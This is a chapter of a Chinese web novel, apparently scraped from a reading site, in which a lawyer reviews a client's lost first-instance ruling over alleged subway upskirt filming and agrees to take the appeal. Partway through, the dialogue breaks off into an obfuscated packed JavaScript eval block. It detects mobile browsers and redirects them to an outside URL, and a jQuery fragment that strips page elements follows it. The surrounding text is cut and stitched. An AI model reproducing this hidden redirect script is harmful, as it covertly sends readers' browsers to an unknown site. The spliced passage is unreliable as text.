默认冷灰
24号文字
方正启体

第361章 输了?

作者:开心点小狐狸本书字数:K更新时间:
    【追风少年:我输了。】


    【追风少年:一审**判了,认定我的行为,确实构成对她的……偷拍。】


    林默看着手机屏幕上的最后那一行字。


    办公室里,死一般的寂静。


    他脸上的所有表情,在那一瞬间,全部消失了。


    过了足足五秒。


    他缓缓地,放下了手机。


    然后,那张人畜无害的脸上,慢慢地,浮现出了一个笑容。


    一个比之前任何一次,都更加兴奋,更加冰冷,也更加……残忍的笑容。


    这游戏,好像变得有那么一点点,意思了。


    他重新拿起手机,手指在屏幕上轻巧地点了点。


    没有愤怒,没有质问。


    只有一行平静到诡异的文字。


    【林默:详细说说。】


    【林默:**的判决逻辑。】


    “叮咚!”


    几乎是同一时间,对方的回复,再次秒速弹了出来。


    那一大段文字,带着一种急于倾诉的,压抑了太久的绝望。


    【追风少年:林律师,是这样的。】


    【追风少年:法官承认,我的手机相册里,确实没有发现任何偷拍的照片或者视频。】


    林默挑了挑眉。


    哦?承认了?


    那还有什么好判的。


    【追风少年:但是,法官认为,我当时‘蹲在地上’这个行为本身,就‘不合常理’。】


    【追风少年:她说,一个正常的成年男性,在拥挤的地铁车厢里,没有理由长时间保持蹲姿。】


    看到这里,林默嘴角的弧度,更大了。


    不合常理?


    法律什么时候开始审判“常理”了?


    【追风少年:然后,她调取了监控,说我的手机屏幕,虽然没有对着那位女士的裙底,但是距离很近。】


    【追风少年:她的原话是,我的行为,‘具备了拍摄隐私部位的客观条件’。】


    具备了客观条件。


    林默在心里,默念了一遍这几个字。


    厨房里有刀,所以具备了**的客观条件?


    这逻辑,无懈可击。


    【追风少年:最后,法官做出了总结。】


    【追风少年:她说,虽然没有证据证明我真的拍了,但我的行为,已经足以引起那位女士的‘恐慌和焦虑’,对她的‘人格尊严’造成了侵害。】


    【追风少年:所以,认定我的行为,构成对她的侵权。】


    【追风少年:判决我,必须在判决生效后十日内,向她进行书面赔礼道歉。】


    一大段文字,戛然而止。


    整个对话框,陷入了死寂。


    林默,也沉默了。


    他没有再打字。


    只是静静地看着那段判决逻辑的复述,一个字,一个字地看。


    仿佛在欣赏一篇旷世奇文。


    荒谬。


    离奇。


    完美。


    他那颗因为解决了许倩倩案子而陷入贤者模式的心,在这一刻,被彻底点燃了。


    这不是在办案。


    这是在挑衅。


    是对整个法律体系,对所有法律从业者,最赤裸裸的挑衅。


    手机震动了一下。


    是【追风少年】发来的新消息,带着小心翼翼的试探。


    【追风少年:林律师,您还在吗?】


    【追风少年:是不是……也觉得很可笑?连我的律师当时都傻了,他说他从业十年,没见过这么判的。】


    【追风少年:我们当庭就表示要上诉,但是……我不知道还有没有用。】


    林默终于动了。


    他的手指,在屏幕上快速敲击。


    【林默:你的律师呢?一审怎么辩护的?】


    【追风少年:我的律师,一直在强调‘疑罪从无’的原则。主张对方没有任何直接证据证明我偷拍,我的行为只是脚磨了,蹲下休息。】


    【追风少年:但是法官驳回了。她说,这是民事诉讼,不完全适用**的‘疑罪从无’,而是适用‘高度盖然性’原则。】


    【追风少年:她认为,我偷拍的可能性,‘高度大于’我脚疼的可能性。】


    高度盖然性。


    好一个高度盖然性。


    林默笑了。


    这法官,是个高手。


    一个**规则,偷换概念的高手。


    【林默:对方律师呢?】


    【追风少年:对方律师就抓着我‘动机不纯’这一点打,说我一个程序员,天天对着电脑,身体好得很,不可能在地铁上蹲那么久。还说我眼神躲闪,是做贼心虚的表现。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16421169|179380||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    】


    【林默:判决书。】


    【林默:扫描件,或者照片,现在发我。】


    【追风少年:好的好的!林律师您等一下!】


    对方的回复,带着一种抓到救命稻草的急切。


    不到三十秒。


    一份盖着鲜红印章的PDF文件,被发送了过来。


    《民事判决书》。


    林默点了开来。


    他直接跳过了前面的案情陈述和双方辩词,目光精准地落在了最后几页。


    “本院认为……”


    那段熟悉的,荒诞的判决逻辑,以一种更加严谨,也更加冰冷的官方语言,呈现在他面前。


    一字不差。


    林默的目光,继续下移。


    最后,定格在了判决书最下方,审判长签名的那一栏。


    三个字。


    孙建业。


    林默看着这个名字,看了很久。


    然后,他关掉了PDF文件。


    他站起身,走到巨大的落地窗前,俯瞰着脚下灯火璀璨的帝都夜景。


    车流如织,宛如一条条金色的河流。


    这个城市,真大啊。


    大到,可以容纳下如此精彩的剧本。


    他拿起手机,重新点开那个对话框。


    【林默:明天上午十点。】


    【林默:龙城国际中心,八十八层,404律所。】


    【林默:带上你手里所有的证据、材料,包括你一审律师的全部卷宗,原件。】


    对方几乎是秒回。


    【追风少年:好!好的林律师!我一定到!谢谢您!真的太谢谢您了!】


    【追风少年:那个……林律师,咨询费……】


    林默的指尖悬在屏幕上,那股子熟悉的,属于演员登台前的兴奋感,流遍全身。


    【林默:咨询费,一小时五万。】


    【林默:按秒计费。】


    发完这句,他没有再看对方的回复。


    他将手机扔回办公桌上,双手**裤兜。


    西南角的办公室里,一片安静。


    只有窗外的霓虹,在他那张人畜无害的脸上,投下明明灭灭的光。


    他低声笑了出来。


    “孙建业?”


    “有点意思。”


    “我倒要看看,你的法条,够不够硬。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)